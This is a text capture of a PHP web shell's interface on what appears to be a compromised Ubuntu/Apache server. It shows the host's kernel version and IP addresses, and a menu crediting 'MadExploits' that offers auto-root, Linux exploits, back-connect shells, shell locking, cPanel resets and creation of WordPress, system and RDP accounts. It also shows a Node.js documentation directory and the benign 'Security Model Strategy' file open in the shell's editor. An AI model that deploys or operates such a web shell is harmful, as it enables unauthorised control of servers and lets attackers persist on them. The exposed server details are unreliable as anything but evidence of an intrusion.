Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.159.119.55
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
nodejs /
contributing /
[ HOME SHELL ]
Name
Size
Permission
Action
doc_img
[ DIR ]
drwxr-xr-x
maintaining
[ DIR ]
drwxr-xr-x
adding-new-napi-api.md
2.55
KB
-rw-r--r--
adding-v8-fast-api.md
5.06
KB
-rw-r--r--
api-documentation.md
15.36
KB
-rw-r--r--
backporting-to-release-lines.m...
5.72
KB
-rw-r--r--
building-node-with-ninja.md
1.72
KB
-rw-r--r--
code-of-conduct.md
2.12
KB
-rw-r--r--
collaborator-guide.md
43.49
KB
-rw-r--r--
commit-queue.md
5.76
KB
-rw-r--r--
components-in-core.md
2.51
KB
-rw-r--r--
cpp-style-guide.md
12.81
KB
-rw-r--r--
diagnostic-tooling-support-tie...
8
KB
-rw-r--r--
feature-request-management.md
3.41
KB
-rw-r--r--
internal-api.md
539
B
-rw-r--r--
investigating-native-memory-le...
30.58
KB
-rw-r--r--
issues.md
3.31
KB
-rw-r--r--
node-postmortem-support.md
2.53
KB
-rw-r--r--
offboarding.md
1.13
KB
-rw-r--r--
primordials.md
21.85
KB
-rw-r--r--
pull-requests.md
24.74
KB
-rw-r--r--
releases-node-api.md
6.63
KB
-rw-r--r--
releases.md
45.29
KB
-rw-r--r--
security-model-strategy.md
2.81
KB
-rw-r--r--
security-release-process.md
10.06
KB
-rw-r--r--
security-steward-on-off-boardi...
1.02
KB
-rw-r--r--
sharing-project-news.md
1.45
KB
-rw-r--r--
static-analysis.md
798
B
-rw-r--r--
strategic-initiatives.md
3.26
KB
-rw-r--r--
streaming-to-youtube.md
4.51
KB
-rw-r--r--
suggesting-social-media-posts....
257
B
-rw-r--r--
technical-priorities.md
6.02
KB
-rw-r--r--
technical-values.md
2.79
KB
-rw-r--r--
using-internal-errors.md
5.05
KB
-rw-r--r--
using-symbols.md
2.33
KB
-rw-r--r--
writing-and-running-benchmarks...
23.5
KB
-rw-r--r--
writing-tests.md
16.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : security-model-strategy.md
# Security Model Strategy A clear security model, with features like permissions and policy enforcement, is a [top technical priority](https://github.com/nodejs/node/blob/HEAD/doc/contributing/technical-priorities.md#permissionspoliciessecurity-model) of Node.js. ## High-level approach * Document the security model * Document threat models and current state of the art * Support experimentation on features like permissions and policies * Add a security component in Node.js certification covering the Node.js security model ### Document the security model The current security model for Node.js is not yet well documented. At a high level it is: * Node.js does not provide a sandbox, both the JavaScript and native code which is run is trusted to not be malicious. * The project works to help code running on top of Node.js to avoid making mistakes, but not doing so is not considered a vulnerability in Node.js. Just because you can build something vulnerable with the APIs does not mean there is a vulnerability in Node.js itself. The project has a goal to better document the security model and this section will be expanded when that happens. Once the security model is documented the project will work to add a security component in Node.js certification covering the Node.js security model. ### Document threat models and current state of the art Node.js is used in several different use cases and the threats may be different in each use case. The project should document the threat models and use that to help define the security model in the context of each of these use cases. This section will be expanded as the use case/threat models are defined. The initial list includes: * Server * Desktop application * Cli * Single executable application * CI/CD pipeline components ### Support experimentation on features like permissions and policies The project is not currently planning to provide supported sandbox functionality, but wants to support experimentation on related features like policies and permission enforcement. Features in this category should: * be opt-in, and additional overhead when not enabled must be low * limit change in core to just what is needed to enable experimentation ## Current implementation and assets Node.js has an experimental implementation of [policies](https://nodejs.org/docs/latest/api/policy.html#policies). The core implementation is in: * [`lib/internal/process/policy.js`](https://github.com/nodejs/node/blob/HEAD/lib/internal/process/policy.js) * [`lib/internal/policy`](https://github.com/nodejs/node/blob/HEAD/lib/internal/policy) along with integration into the CJS and ESM loaders in: * [`lib/internal/modules/esm`](https://github.com/nodejs/node/blob/HEAD/lib/internal/modules/esm) * [`lib/internal/modules/cjs`](https://github.com/nodejs/node/blob/HEAD/lib/internal/modules/cjs)
Close